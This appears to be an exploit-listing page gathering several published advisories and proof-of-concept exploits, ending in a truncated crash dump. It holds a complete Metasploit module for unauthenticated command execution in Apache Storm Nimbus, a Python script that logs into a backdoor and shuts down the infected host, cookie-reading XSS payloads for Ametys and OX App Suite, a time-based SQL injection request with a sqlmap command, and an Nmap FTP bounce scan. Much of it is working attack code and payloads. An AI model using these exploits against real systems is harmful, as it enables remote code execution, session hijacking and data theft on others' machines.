Latest exploits :: CodePwn

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/5ff832ce6af4b03a709eaf380672cf34.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.DRA.c Vulnerability: Weak Hardcoded Password Description: The malware listens on TCP port 3119 and authentication is required. However, the password "go" is weak and hardcoded in the PE file. The malware uses "lstrcmpa" Win32 API to check the password, when sending the password we need to be careful that there is no line feed "\n" E.g. "go\n", as what happens when sent using ncat or telnet causing authentication to fail. 00401317 jz loc_401218 0040131D push offset aGo ; "go" 00401322 push offset buf ; lpString1 00401327 call lstrcmpA 0040131D | 68 7C 40 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 40407C "go" 00401322 | 68 8C 46 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 00401327 | E8 F4 0C 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 | 0040132C | 83 F8 00 | cmp eax,0 | 0040132F | 74 2C | je backdoor.win32.dra.c.5ff832ce6af4b03 | 00401331 | 6A 00 | push 0 | 00401333 | 6A 11 | push 11 | 00401335 | 68 11 4C 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 404C11 "invalid password." 0040133A | FF 35 16 4B 40 00 | push dword ptr ds:[404B16] | 00401340 | E8 53 0D 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 | 00401345 | 83 F8 FF | cmp eax,FFFFFFFF | Type: PE32 MD5: 5ff832ce6af4b03a709eaf380672cf34 Vuln ID: MVID-2022-0470 Disclosure: 01/24/2022 Exploit/PoC: Using ncat, telnet will fail as it sends a new line "\n", so we use a makeshift Python agent. Sending the command "Run z\r\n" will initiate a shutdown of the infected host. from socket import * import time MALWARE_HOST="x.x.x.x" PORT=3119 def conn(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) return s def chk_res(s): res="" while True: res += s.recv(512) if "Connected :-) !" in res or "invalid password" in res: break return res def doit(): s=conn() #Bad passwd PAYLOAD="hate\r\n" s.send(PAYLOAD) print(chk_res(s)) s.close() time.sleep(1) s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) #Correct passwd PAYLOAD="go" s.send(PAYLOAD) print(chk_res(s)) time.sleep(1) #initiates a shutdown of the infected machine #s.send("Run c\r\n") s.send("Run z\r\n") s.close() if __name__=="__main__": doit() print("Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/thrift' require 'rex/stopwatch' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager Thrift = Rex::Proto::Thrift def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm. The getTopologyHistory RPC method method takes a single argument which is the name of a user which is concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there must have been at least one topology submitted to the server. The topology may be active or inactive, but at least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm. This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 which is affected. }, 'Author' => [ 'Alvaro Muñoz', # discovery and original research 'Spencer McIntyre', # metasploit module ], 'References' => [ ['CVE', '2021-38294'], ['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/'] ], 'DisclosureDate' => '2021-10-25', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 6627, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) end def check begin connect rescue Rex::ConnectionError return CheckCode::Unknown('Failed to connect to the service.') end sleep_time = rand(5..10) response, elapsed_time = Rex::Stopwatch.elapsed_time do execute_command("sleep #{sleep_time}", { disconnect: false }) recv_response(sleep_time + 5) end disconnect vprint_status("Elapsed time: #{elapsed_time} seconds") unless response && elapsed_time > sleep_time return CheckCode::Safe('Failed to test command injection.') end CheckCode::Appears('Successfully tested command injection.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, opts = {}) # comment out the rest of the command to ensure it's only executed once and prefix a random tag to avoid caching cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}" vprint_status("Executing command: #{cmd}") send_request([ Thrift::Header.new(message_type: Thrift::MessageType::CALL, method_name: 'getTopologyHistory'), Thrift::Data.new(data_type: Thrift::DataType::T_UTF7, field_id: 1, data_value: ";#{cmd}"), Thrift::Data.new ].map(&:to_binary_s).join) disconnect if opts.fetch(:disconnect, true) end def send_request(request) connect if sock.nil? sock.put([ request.length ].pack('N') + request) end def recv_response(timeout) remaining = timeout res_size, elapsed = Rex::Stopwatch.elapsed_time do sock.timed_read(4, remaining) end remaining -= elapsed return nil if res_size.nil? || res_size.length != 4 || remaining <= 0 res = sock.timed_read(res_size.unpack1('N'), remaining) return nil if res.nil? || res.length != res_size.unpack1('N') return res_size + res rescue Timeout::Error return nil end end </code></pre>

<pre><code>Document Title: =============== Ametys v4.4.1 CMS - Cross Site Scripting Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2275 Release Date: ============= 2022-01-12 Vulnerability Laboratory ID (VL-ID): ==================================== 2275 Common Vulnerability Scoring System: ==================================== 5.2 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Build powerful and stunning websites. Whether you need an advanced corporate website, a powerful landing page, a professionnal blog or an event website, all the tools to make creative digital experiences are at your fingertips with Ametys. No coding skills needed. Ametys make it easy for everyone to create and manage unified digital platform. Ametys delivers simple and intuitive interface with a familiar ribbon Office style interface. (Copy of the Homepage:https://www.ametys.org/community/en/ametys-platform/ametys-portal/overview.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent input validation web vulnerability in the Ametys v4.4.1 cms web-application. Affected Product(s): ==================== Ametys Product: Ametys v4.4.1 - Content Management System (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-07-24: Researcher Notification & Coordination (Security Researcher) 2021-07-25: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2022-01-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent script code injection web vulnerability has been discovered in the official Ametys v4.4.1 cms web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerability is located in the input fields of the link text, small description and description in the add external link function. The function is for example located in the link directory of the backend. Added links are listed with status and details. Attackers with low privileges are able to add own malformed link with malicious script code in the marked vulnerable parameters. After the inject the links are being displayed in the backend were the execute takes place on preview of the main link directory. The attack vector of the vulnerability is persistent and the request method to inject is post. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Link Directory (Add) Vulnerable Function(s): [+] add (External Link) Vulnerable Parameter(s): [+] Link Text [+] Small description [+] Description Affected Module(s): [+] Frontend (Main Link Listing) [+] Backend (Link Directory) Proof of Concept (PoC): ======================= The persistent web vulnerability can be exploited by remote attackers with low privilged user accounts with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the application path and login to the service as restricted user that allowed to create links 2. Open the link directory and create a new link (top|left) 3. Inject the test payloads to the link text, small description and description and save via post 4. On visit of the link directory the payloads executes in the backend listing or frontend 5. Successful reproduce of the persistent web vulnerability! Payload(s): <a onmouseover=alert(document.domain)>poc_link</a> <a onmouseover=alert(document.cookie)>poc_link</a> Vulnerable Source: Link Directory - Link (Add) class="x-grid-cell-inner " style="text-align:left;" <a onmouseover="alert(document.domain)">poc_link</a></div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7478 x-unselectable" style="width: 248px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7478"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;"><a onmouseover="alert(document.domain)">poc_link</a></div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7479 x-unselectable" style="width: 247px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7479"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">&nbsp;</div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7480 x-grid-cell-last x-unselectable" style="width: 148px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7480"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">&nbsp; </div></td></tr></tbody></table><table id="tableview-7474-record-105" role="presentation" data-boundview="tableview-7474" data-recordid="105" data-recordindex="1" class="x-grid-item x-grid-item-selected x-grid-item-alt" style=";width:0" cellspacing="0" cellpadding="0"><tbody><tr class=" x-grid-row" role="row"><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7475 x-grid-cell-first x-unselectable" style="width: 396px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7475"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;"> test.de</div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7476 x-unselectable" style="width: 149px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7476"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">Normal</div></td> --- PoC Session Logs (POST) --- https://ametys.localhost:8000.localhost:8000/cms/plugins/core-ui/servercomm/messages.xml Host: ametys.localhost:8000.localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------1197812616356669894551519312 Content-Length: 798 Origin: https://ametys.localhost:8000.localhost:8000 Connection: keep-alive Referer: https://ametys.localhost:8000.localhost:8000/cms/www/index.html Cookie: JSESSIONID=A1DC067A1739FDFBC72BCF921A5AA655; AmetysAuthentication=YW1ldHlzX2RlbW9fdXNlcnMjd2VibWFzdGVyI1A5WndHNTNzNmJhYlRWSDI; JSESSIONID=A0EC6E56FC3A2131C9D24C33CB9CCAAA Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin content={"0":{"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-announcement/view.xml"},"1": {"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-startuptime.xml"}}&context.parameters= {"siteName":"www","skin":"demo","debug.mode":"false","populationContexts":["/sites/www","/sites-fo/www"],"user": {"login":"testuser_restricted","population":"ametys_demo_users","firstname":"testuser_restricted","lastname":"User","fullname":"testuser_restricted User", "email":"testuser_restricted@test.com","populationLabel":"Ametys Demo Users","locale":"en"}} - POST: HTTP/1.1 200 Server: Apache/2.4.29 (Ubuntu) X-Cocoon-Version: 2.1.13 Ametys-Dispatched: true Content-Type: text/xml Via: 1.1 ametys.localhost:8000.localhost:8000 Vary: Accept-Encoding Content-Encoding: gzip Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Language: fr Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the input fields in the external link add function of the link directory. In a second step the input fields can be restricted for special chars to prevent further attacks. As next step the output location were the links are being displayed (frontend & backend) should to be sanitized correctly. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the ametys web-application cms is estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/fc100ff65f676a26293915407adc211c_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.FTP.Lana.01.d Vulnerability: Port Bounce Scan (MITM) Description: The malware listens on TCP port 6666. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. Type: PE32 MD5: fc100ff65f676a26293915407adc211c Vuln ID: MVID-2022-0469 Dropped files: FTP.exe Disclosure: 01/24/2022 Exploit/PoC: nmap -n -Pn -b user:pass@192.168.18.129:6666 -p21,22,80 192.168.18.237 -v Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-23 16:50 UTC-11 Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129). Attempting connection to ftp://user:pass@192.168.18.129:6666 Connected:220 Anal FTP v0.1 Login credentials accepted by FTP server! Initiating Bounce Scan at 16:50 Discovered open port 80/tcp on 192.168.18.237 Completed Bounce Scan at 16:50, 2.14s elapsed (3 total ports) Nmap scan report for 192.168.18.237 Host is up. PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 80/tcp open http Read data files from: C:\Program Files (x86)\Nmap Nmap done: 1 IP address (1 host up) scanned in 11.36 seconds Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>Product: OX App Suite Vendor: OX Software GmbH Internal reference: OXUIB-872 Vulnerability type: Cross-Site Scripting (CWE-80) Vulnerable version: 7.10.5 and earlier Vulnerable component: frontend Report confidence: Confirmed Solution status: Fixed by Vendor Fixed version: 7.10.3-rev30, 7.10.4-rev27, 7.10.5-rev18 Vendor notification: 2021-06-01 Solution date: 2021-08-23 Public disclosure: 2021-11-19 CVE reference: CVE-2021-38374 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) Vulnerability Details: The "app loader" mechanism of the frontend component could be abused to load content from relative URLs, outside of the intended code loading API path. This can be used by attackers to add references to malicious content that is served by the same domain. Risk: Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would require the victim to follow a hyperlink. Steps to reproduce: 1. As attacker, upload a code snippet to drive and create a sharing link 2. Modify the "app loader" URL and include a relative reference to the shared code snippet 3. Embed a direct reference to this snippet at a malicious website or make a user follow the reference Solution: We now restrict relative references to only include the intended API path. --- Internal reference: MWB-1113 Vulnerability type: Cross-Site Scripting (CWE-80) Vulnerable version: 7.10.5 and earlier Vulnerable component: middleware Report confidence: Confirmed Solution status: Fixed by Vendor Fixed version: 7.10.3-rev36, 7.10.4-rev27, 7.10.5-rev21 Vendor notification: 2021-06-02 Solution date: 2021-08-23 Public disclosure: 2021-11-19 CVE reference: CVE-2021-38375 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) Vulnerability Details: HTML E-Mails with lots of content are being truncated for improved performance. Their full content is being delivered when opening the HTML part at a dedicated browser tab. The mechanism that dealt with inline images allowed to inject script code as part of a HTML img "alt" tag. Risk: Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would require the victim to open the non-truncated representation of an E-Mail. Steps to reproduce: 1. Create a artifically large HTML E-Mail with script code at an images "alt" tag. 2. Deliver the mail and make the victim display the truncated part Proof of concept: <img alt="src=foo.bar/onerror=alert('XSS')//" src=""> Solution: We updated the detection and sanitization logic to deal with embedded script code fragments. --- Internal reference: MWB-1116 Vulnerability type: Cross-Site Scripting (CWE-80) Vulnerable version: 7.10.5 and earlier Vulnerable component: middleware Report confidence: Confirmed Solution status: Fixed by Vendor Fixed version: 7.10.3-rev36, 7.10.4-rev27, 7.10.5-rev21 Vendor notification: 2021-06-02 Solution date: 2021-08-23 Public disclosure: 2021-11-19 CVE reference: CVE-2021-38377 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) Vulnerability Details: HTML E-Mails with lots of content are being truncated for improved performance. Their full content is being delivered when opening the HTML part at a dedicated browser tab. The mechanism that dealt with temporary internal transformation state allowed to inject script code by abusing a "anchor" HTML comment. The comments identifier is a predictable UUID and stores HTML transformation results, which is exempt from sanitization. Risk: Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would require the victim to open the non-truncated representation of an E-Mail. Steps to reproduce: 1. Create a artifically large HTML E-Mail with script code at an "anchor" comment 2. Deliver the mail and make the victim display the truncated part Proof of concept:  Solution: We now use a random value for temporary anchors to avoid exploiting this internal state. --- Internal reference: MWB-1185 Vulnerability type: Information Disclosure (CWE-200) Vulnerable version: 7.10.5 and earlier Vulnerable component: middleware Report confidence: Confirmed Solution status: Fixed by Vendor Fixed version: 7.10.3-rev36, 7.10.4-rev27, 7.10.5-rev21 Vendor notification: 2021-07-15 Solution date: 2021-08-23 Public disclosure: 2021-11-19 CVE reference: CVE-2021-38376 CVSS: 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) Vulnerability Details: The "rampup" API action allows to swiftly extract a predefined set of information stored with a specific user session identifier to load generic information, for example available languages and folder names. It also contains a subset of personal information like a users name and mail address. However the call is not covered by standard authentication methods, allowing to extract this information when guessing or intercepting the users session identifier. Risk: Unauthorized parties may get access to confidential non-public information, associated to a live user session. In order to gain access to the session identifer, an attacker requires access to infrastructure, log files or elevated privileges at either endpoints. Steps to reproduce: 1. Find out a users session identifier 2. Use the "rampup" action of the login API call to request session information Proof of concept: https://example.com/appsuite/api/login?action=rampup&rampup=true&rampUpFor=open-xchange-appsuite&session=76b5b1ae9352b9a0b6d483b6f2f78c70 Solution: We applied standard authentication requirements for this API action. --- Internal reference: MWB-1208 Vulnerability type: Information Disclosure (CWE-200) Vulnerable version: 7.10.5 Vulnerable component: middleware Report confidence: Confirmed Solution status: Fixed by Vendor Fixed version: 7.10.3-rev36, 7.10.4-rev27, 7.10.5-rev21 Vendor notification: 2021-08-09 Solution date: 2021-08-23 Public disclosure: 2021-11-19 CVE reference: CVE-2021-38378 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) Vulnerability Details: A caching mechanims for files in OX Drive did not consider the context identifier of a specific object. Risk: Unauthorized users may get access to confidential information, like other users names, by observing the "modified by" response of the API for files that would collide with other users files that bear the same identifier. This weakness depends on chance and is limited to the names of users, there is no evidence that actual file content could have been exposed. Steps to reproduce: 1. Create multiple files in OX Drive on a environment with many contexts 2. Observe the "modified by" information which indicates who last changed the file 3. In rare cases where identifiers collided, other users surname and givenname were shown Solution: We made the affected cache context-ware to avoid exposing this sort of information to unauthorized users. </code></pre>

<pre><code># Exploit Title: Online Project Time Management System 1.0 - SQLi (Authenticated) # Date: 19/01/2022 # Exploit Author: Felipe Alcantara (Filiplain) # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/15136/online-project-time-management-system-phpoop-free-source-code.html # Version: 1.0 # Tested on: Kali Linux # Steps to reproduce # Log in as an employee # Go to : http://localhost/ptms/?page=user # Click Update # Save request in BurpSuite # Run saved request with sqlmap: sqlmap -r request.txt --batch --risk 3 --level 3 --dump ========================== POST /ptms/classes/Users.php?f=save_employee HTTP/1.1 Host: localhost Content-Length: 1362 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: multipart/form-data; boundary=----WebKitFormBoundary39q8yel1pdwYRLNz Origin: http://localhost Referer: http://localhost/ptms/?page=user Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=r9ds0ep1v3q2lom422v9e2vcfm Connection: close ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="id" 4' AND (SELECT 1 FROM (SELECT(SLEEP(4)))test)-- test ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="code" 2022-0003 ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="generated_password" ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="firstname" Mark 2223 ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="middlename" Z ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="lastname" Cooper ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="gender" Male ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="department" IT Department ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="position" Department Manager ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="email" mcooper@sample.com ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="password" ------WebKitFormBoundary39q8yel1pdwYRLNz Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary39q8yel1pdwYRLNz-- ========================== #Payloads #++++++++++++ #Payload: (Boolean-Based Blind) #------WebKitFormBoundary39q8yel1pdwYRLNz #Content-Disposition: form-data; name="id" #4' or 1=1 -- #-------- #Payload: (time-based blind) #------WebKitFormBoundary39q8yel1pdwYRLNz #Content-Disposition: form-data; name="id" #4' AND (SELECT 1 FROM (SELECT(SLEEP(4)))test)-- test #------- </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/694d21679cc212c59515584d1b65dc84.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BlueAdept.02.a Vulnerability: Remote Buffer Overflow Description: The malware listens on TCP port 6969, after connecting to the infected host TCP ports 6970, 6971 are then opened. The newly opened port 6970 is vulnerable allowing third party attackers who can reach an infected host ability to trigger a buffer overflow overwriting EAX, ECX and EDX registers. Type: PE32 MD5: 694d21679cc212c59515584d1b65dc84 Vuln ID: MVID-2021-0408 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 11/21/2021 Memory Dump: (1a34.157c): Access violation - code c0000005 (first/second chance not available) eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014 edi=0045e610 eip=00401c62 esp=000a141c ebp=0045e614 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 *** WARNING: Unable to verify checksum for Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62: 00401c62 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? 0:000> .ecxr eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014 edi=0045e610 eip=00401c62 esp=000a141c ebp=0045e614 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62: 00401c62 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62 00401c62 8902 mov dword ptr [edx],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00401c62 (Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x00001c62) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414141 Attempt to write to address 41414141 PROCESS_NAME: Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62 00401c62 8902 mov dword ptr [edx],eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 0000157c BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 IP_ON_HEAP: 0423fffc The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 0423fffc to 00401c62 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0045e614 0423fffc 02563ae8 02561754 02561774 Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62 00000000 00000000 00000000 00000000 00000000 0x423fffc SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84 IMAGE_NAME: Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr 